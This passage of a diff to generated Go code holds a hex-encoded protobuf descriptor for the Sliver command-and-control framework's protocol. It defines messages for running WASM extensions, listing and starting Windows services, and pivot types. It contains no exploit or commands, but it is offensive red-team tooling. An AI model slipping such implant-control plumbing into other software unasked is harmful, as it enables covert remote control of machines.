0x65, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x44, 0x0a, 0x15, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, + 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x12, + 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x5a, 0x0a, 0x12, + 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xa8, 0x02, 0x0a, 0x14, 0x45, 0x78, 0x65, + 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, + 0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x3f, 0x0a, 0x05, 0x4d, + 0x65, 0x6d, 0x46, 0x53, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x2e, 0x4d, 0x65, 0x6d, 0x46, 0x53, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x4d, 0x65, 0x6d, 0x46, 0x53, 0x12, 0x1e, 0x0a, 0x08, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, + 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x38, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, + 0x46, 0x53, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x8f, 0x01, 0x0a, 0x11, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, + 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, + 0x6f, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, + 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x65, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x06, 0x53, 0x74, 0x64, 0x65, 0x72, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x45, 0x78, 0x69, + 0x74, 0x43, 0x6f, 0x64, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x45, 0x78, 0x69, + 0x74, 0x43, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x56, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, + 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x44, 0x0a, - 0x15, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, - 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x5a, 0x0a, 0x12, 0x4c, 0x69, 0x73, 0x74, 0x57, 0x61, 0x73, 0x6d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4e, 0x61, 0x6d, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0xa8, 0x02, 0x0a, 0x14, 0x45, 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, - 0x41, 0x72, 0x67, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, - 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x12, 0x3f, 0x0a, 0x05, 0x4d, 0x65, 0x6d, 0x46, 0x53, 0x18, 0x04, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x29, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, - 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x71, 0x2e, 0x4d, 0x65, 0x6d, 0x46, 0x53, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x4d, 0x65, - 0x6d, 0x46, 0x53, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, - 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x38, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x46, 0x53, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x8f, 0x01, 0x0a, 0x11, 0x45, - 0x78, 0x65, 0x63, 0x57, 0x61, 0x73, 0x6d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x64, 0x65, - 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x74, 0x64, 0x65, 0x72, 0x72, - 0x12, 0x1a, 0x0a, 0x08, 0x45, 0x78, 0x69, 0x74, 0x43, 0x6f, 0x64, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x08, 0x45, 0x78, 0x69, 0x74, 0x43, 0x6f, 0x64, 0x65, 0x12, 0x2e, 0x0a, 0x08, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x56, 0x0a, 0x0b, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, 0x10, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, - 0x65, 0x74, 0x61, 0x69, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x3a, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0xd6, 0x01, 0x0a, 0x0e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, - 0x61, 0x69, 0x6c, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x69, 0x73, 0x70, - 0x6c, 0x61, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, - 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, - 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, - 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x53, 0x74, - 0x61, 0x74, 0x75, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x75, 0x70, 0x54, 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x42, 0x69, 0x6e, 0x50, 0x61, 0x74, - 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x42, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, - 0x12, 0x18, 0x0a, 0x07, 0x41, 0x63, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x41, 0x63, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x08, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x44, 0x65, 0x74, 0x61, 0x69, - 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, - 0x6c, 0x73, 0x52, 0x07, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x45, - 0x72, 0x72, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x45, 0x72, 0x72, 0x6f, - 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x8b, 0x01, 0x0a, 0x0d, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, - 0x61, 0x69, 0x6c, 0x12, 0x30, 0x0a, 0x06, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x52, 0x06, 0x44, - 0x65, 0x74, 0x61, 0x69, 0x6c, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x12, - 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x80, 0x01, 0x0a, 0x15, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x3a, 0x0a, 0x0b, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, - 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x2a, 0x49, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x55, 0x6e, 0x6b, 0x6e, 0x6f, 0x77, 0x6e, 0x10, 0x00, 0x12, - 0x0a, 0x0a, 0x06, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, - 0x74, 0x72, 0x69, 0x6e, 0x67, 0x10, 0x02, 0x12, 0x09, 0x0a, 0x05, 0x44, 0x57, 0x4f, 0x52, 0x44, - 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x51, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x04, 0x2a, 0x2c, 0x0a, - 0x09, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, - 0x50, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x55, 0x44, 0x50, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x10, 0x02, 0x2a, 0x33, 0x0a, 0x0f, 0x50, - 0x65, 0x65, 0x72, 0x46, 0x61, 0x69, 0x6c, 0x75, 0x72, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, - 0x0a, 0x0c, 0x53, 0x45, 0x4e, 0x44, 0x5f, 0x46, 0x41, 0x49, 0x4c, 0x55, 0x52, 0x45, 0x10, 0x00, - 0x12, 0x0e, 0x0a, 0x0a, 0x44, 0x49, 0x53, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x10, 0x01, - 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, - 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x7b, 0x0a, + 0x10, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x52, 0x65, + 0x71, 0x12, 0x3a, 0x0a, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, + 0x52, 0x0b, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2b, 0x0a, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xd6, 0x01, 0x0a, 0x0e, 0x53, + 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x20, 0x0a, + 0x0b, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x42, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x42, 0x69, 0x6e, 0x50, 0x61, 0x74, 0x68, 0x12, 0x18, 0x0a, 0x07, 0x41, 0x63, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, 0x63, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0x84, 0x01, 0x0a, 0x08, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x12, 0x32, 0x0a, 0x07, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x44, 0x65, 0x74, 0x61, 0x69, 0x6c, 0x73, 0x52, 0x07, 0x44, 0x65, 0x74, + 0x61, 0x69, 0x6c, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 